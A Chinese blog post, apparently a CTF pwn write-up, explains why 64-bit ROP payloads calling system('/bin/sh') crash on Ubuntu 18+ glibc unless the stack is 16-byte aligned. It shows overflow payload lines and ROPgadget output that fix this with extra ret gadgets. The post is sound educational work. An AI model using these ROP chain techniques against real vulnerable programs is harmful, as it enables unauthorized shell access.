thumbnail
Ubuntu18以上系统64位的glibc的payload调用system函数时,所需注意的堆栈平衡问题

0x00写在前面

在Ubuntu18以上的版本,64位的程序若包含了system(“/bin/sh”),就需要考虑堆栈平衡。因为在Ubuntu18下system调用时要求地址和16字节对齐,如果没有栈对齐的话,程序就直接crash了。之前咱做过好几道靶机环境是Ubuntu18的pwn题,本地打得通,但是远程打不通,很令人费解;看大佬们的博客和WP,却只知道Ubuntu18必须得考虑栈对齐。每次都是到最后一步看到远程靶机打不通显示EOF,今天参考了几篇博客想解决这个问题。

这是之前出现栈对齐问题的题,当时都是一笔带过,搞得不明不白的,好在今天应该全都搞懂了(大概)

http://101.35.52.235/2021/04/27/pwn%e5%88%b7%e9%a2%98%e7%ac%94%e8%ae%b0-ciscn\_2019\_c\_1/

0x01原因

栈的字节对齐,实际是指栈顶指针必须是16字节的整数倍。栈对齐使得在尽可能少的内存访问周期内读取数据,不对齐堆栈指针可能导致严重的性能下降。

但是实际上,即使数据没有对齐,我们的程序也是可以执行的,只是效率有点低而已,但是某些型号的Intel和AMD处理器,在执行某些实现多媒体操作的SSE指令时,如果数据没有对齐,将无法正确执行。这些指令对16字节内存进行操作,在SSE单元和内存之间传送数据的指令要求内存地址必须是16的倍数。

因此,任何针对x86_64处理器的编译器和运行时系统都必须保证, 它们分配内存将来可能会被SSE指令使用,所以必须是16字节对齐的,这也就形成了一种标准:

  • 任何内存分配函数(alloca, malloc, callocrealloc)生成的块的起始地址都必须是16的倍数。
  • 大多数函数的栈帧的边界都必须是16字节的倍数。

如上,在运行时栈中,不仅传递的参数和局部变量要满足字节对齐,我们的栈指针(rsp)也必须是16的倍数。

0x02解决方案

回到我们的题目(ciscn_2019_c_1),在最后getshell时我们需要用到system函数,但是这个函数需要满足栈对齐的条件,此时可以尝试通过p64(ret_addr)来栈对齐;或者干脆放弃使用system而利用execve,但坏处是在64位环境下需要3个寄存器来构造参数。

如果要构建ROPgadget,不一定能同时找到三个寄存器的语句,这个方法就不一定能行得通。

要想栈对齐,最好使用ret。一开始我脑子抽了,加了些垃圾数据企图填满使其栈对齐,然后突然想起这完全错了,这哪跟哪啊QwQ。

payload2=b'a'*(0x50+8)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)
p.sendline(payload2)

可以看到,没有进行栈对齐的payload(0x71加上结尾‘\x00’也就是0x72没法被0x10也就是16整除)打远程的Ubuntu18的靶机只能EOF。好在这个数字比较好栈对齐,那么我们来找一下ret。

picpo@kali:/media/sf_SHARE/PWN/ciscn_2019_en_2$ ROPgadget --binary ./ciscn_2019_en_2 --only "popret"
Gadgets information
============================================================
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret                   //选这个!选这个!
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02

这玩意长度是0x8,和前面0x71长度的payload只要加上2n-1个就能完美对齐,所以:

ret_addr=0x4006b9
payload2=b'a'*(0x50+8)+p64(ret_addr)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)

payload2=b'a'*(0x50+8)+p64(ret_addr)*3+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)

payload2=b'a'*(0x50+8)+p64(pop_rdi)+p64(bin_sh_addr)+p64(ret_addr)*3+p64(system_addr)

payload2=b'a'*(0x50+8)+p64(ret_addr)*2+p64(pop_rdi)+p64(bin_sh_addr)+p64(ret_addr)*3+p64(system_addr)

这些都是可以的

然后我试了试114514+1,1919(这么臭的数字有试的必要吗(恼)),反正gets本来就没有限制长度,所以其实理论上是可以的,但是实际情况下,会超时(大悲):


0x03参考资料

  1. x86_64 Linux 运行时栈的字节对齐:https://www.cnblogs.com/tcctw/p/11333743.html
  2. CTF总结-PWN篇:https://blog.csdn.net/qq_42747131/article/details/106121093
  3. 在一些64位的glibc的payload调用system函数失败问题:http://blog.eonew.cn/archives/958
  4. BUUCTF Pwn ciscn_2019_c_1:https://renjikai.com/tag/buuctf/
上一篇
下一篇